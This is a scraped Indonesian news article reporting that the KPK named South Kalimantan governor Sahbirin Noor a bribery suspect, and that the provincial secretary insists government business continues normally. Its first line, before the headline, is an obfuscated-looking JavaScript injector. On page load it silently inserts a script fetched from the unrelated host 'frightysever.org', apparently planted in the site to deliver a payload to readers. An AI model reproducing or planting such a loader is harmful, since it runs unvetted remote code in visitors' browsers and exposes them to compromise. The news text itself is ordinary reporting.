(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gubernur Kalsel Tersangka, Sekdprov: Pemerintahan Berjalan Normal


KANALKALIMANTAN.COM, BANJARBARU – Roda pemerintahan di lingkungan Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) berjalan normal, pasca OTT (Operasi Tangkap Tangan) Komisi Pemberantasan Korupsi (KPK).

Operasi senyap di Kalsel, KPK tetapkan Gubernur Kalsel Sahbirin Noor, tiga ASN Pemprov Kalsel, dan tiga orang swasta diangkut penyidik ke Jakarta atas dugaan kasus suap gratifikasi pada pelaksanakaan tiga paket proyek pembangunan di Kalsel.

Gubernur Kalsel Sahbirin Noor disebut oleh Wakil Ketua KPK Nurul Ghufron terlibat karena diduga menerima komitmen fee 5 persen dari masing-masing tiga paket pekerjaan proyek Dinas PUPR Kalsel pada APBD tahun anggaran 2024.

Baca juga: Menteri LHK Resmikan Persemaian Liang Anggang

Keberadaan Sahbirin Noor alias Paman Birin sebagai pengendali kebijakan di lingkup Pemprov Kalsel menjadi perhatian publik. Sebab sampai Senin (14/10/2024), Gubernur Kalsel tak diketahui keberadaannya setelah ditetapkan sebagai tersangka.

Tak ada satu pihak pun di lingkup Pemprov Kalsel yang bisa memberikan keterangan dimana keberadaan Gubernur Kalsel Paman Birin.

Senin (14/10/2024) siang, di sela peresmian pusat Persemaian Liang Anggang (PLA) di Kota Banjarbaru, Sekretaris Daerah (Sekda) Provinsi Kalsel Roy Rizali Anwar muncul dan memberikan sedikit keterangan.

Baca juga: Pjs Wali Kota: Semua Pelayanan Publik Harus Ada di MPP Banjarbaru

Menurut Sekda Kalsel, sampai dengan saat ini semua kegiatan pemerintahan tetap berjalan dengan baik dan lancar. Namun, Sekda Kalsel tak menyebut dimana keberadaan Gubernur Kalsel Sahbirin Noor, pasca dijadikan KPK tersangka dugaan suap gratifikasi.

“Berjalan lancar, semua kegiatan-kegiatan berjalan dengan lancar,” ujar Roy Rizali Anwar saat diwawancarai usai kegiatan.

Terkait posisi pejabat tinggi di Dinas PUPR Kalsel, kata dia, diisi oleh pelaksana harian atau Plh untuk melaksanakan kerja rutin dari Dinas PUPR Kalsel.

Baca juga: Penetapan Tersangka Digugat, KPK Siap Hadapi Praperadilan Paman Birin

“Untuk sementara ada Plh yang ditunjuk yakni Sekretaris Dinas PUPR Kalsel untuk melaksanakan tugas kegiatan sehari hari, namun sudah tetap berjalan dengan baik,” jelas dia. “Sedangkan untuk penunjukkan Plt masih dalam proses,” sambungnya.

Sementara itu dirinya mengungkapkan akan berkordinasi dan berkonsultasi dengan KPK terkait kelanjutan tiga proyek yang ditunjuk menjadi proyek suap pejabat Pemprov Kalsel tersebut.

“Nanti kita kordinasi dengan pihak KPK dan konsultasi bagaimana terkait dengan kelanjutan proyek-proyek tersebut, termasuk dengan proyek mereka yang ada di Dinas PUPR,” tandas Roy.

Baca juga: Arifin-Akbari Janji Tingkatkan Kesejahteraan Guru Honorer di Banjarmasin

Cuma Tahan 6 Tersangka

Diketahui, KPK melakukan penahanan terhadap enam tersangka dalam kasus dugaan korupsi berupa penerimaan hadiah atau janji oleh penyelenggara negara atau yang mewakilinya di Provinsi Kalimantan Selatan tahun 2024–2025.

Dalam perkara ini, tujuh orang ditetapkan sebagai tersangka yaitu Gubernur Kalimantan Selatan Sahbirin Noor (SHB), Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya Yulianti Erlynah (YUL), pengepul uang fee Ahmad (AMD), Plt Kabag Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), dan dua pihak swasta Sugeng Wahyudi (YUD) serta Andi Susanto (AND).

Namun, KPK hanya menahan enam tersangka pada hari ini sementara Sahbirin Noor merupakan satu-satunya tersangka yang belum dilakukan penahanan.

Lebih lanjut, KPK akan melakukan penahanan terhadap 6 tersangka untuk 20 hari terhitung sejak 7 Oktober hingga 26 Oktober 2024.

“Terhadap 4 tersangka SOL, YUL, AMD, FEB, di Rumah Tahanan Negara Cabang Rutan dari Rutan Klas 1 Jakarta Timur, di Gedung KPK K4,” ujar Wakil Ketua KPK Nurul Ghufron.

“Sedangkan tersangka YUD, dan AND di Rumah Tahanan Negara Cabang Rutan dari Rutan Klas | Jakarta Timur, di Gedung KPK C1,” tambah dia.

Dalam perkara ini, Sahbirin Noor bersama SOL, YUL, AMD, dan FEB diduga melanggar Pasal 12 huruf a atau b, Pasal 11, atau 12B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1 Kitab Undang-Undang Hukum Pidana.

Di sisi lain, tersangka dari pihak swasta berinisial YUD dan AND diduga melanggar pasal 5 ayat 1 huruf a atau b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 Kitab Undang-Undang Hukum Pidana. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

1 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

4 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

7 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

7 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

8 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

8 jam ago

This website uses cookies.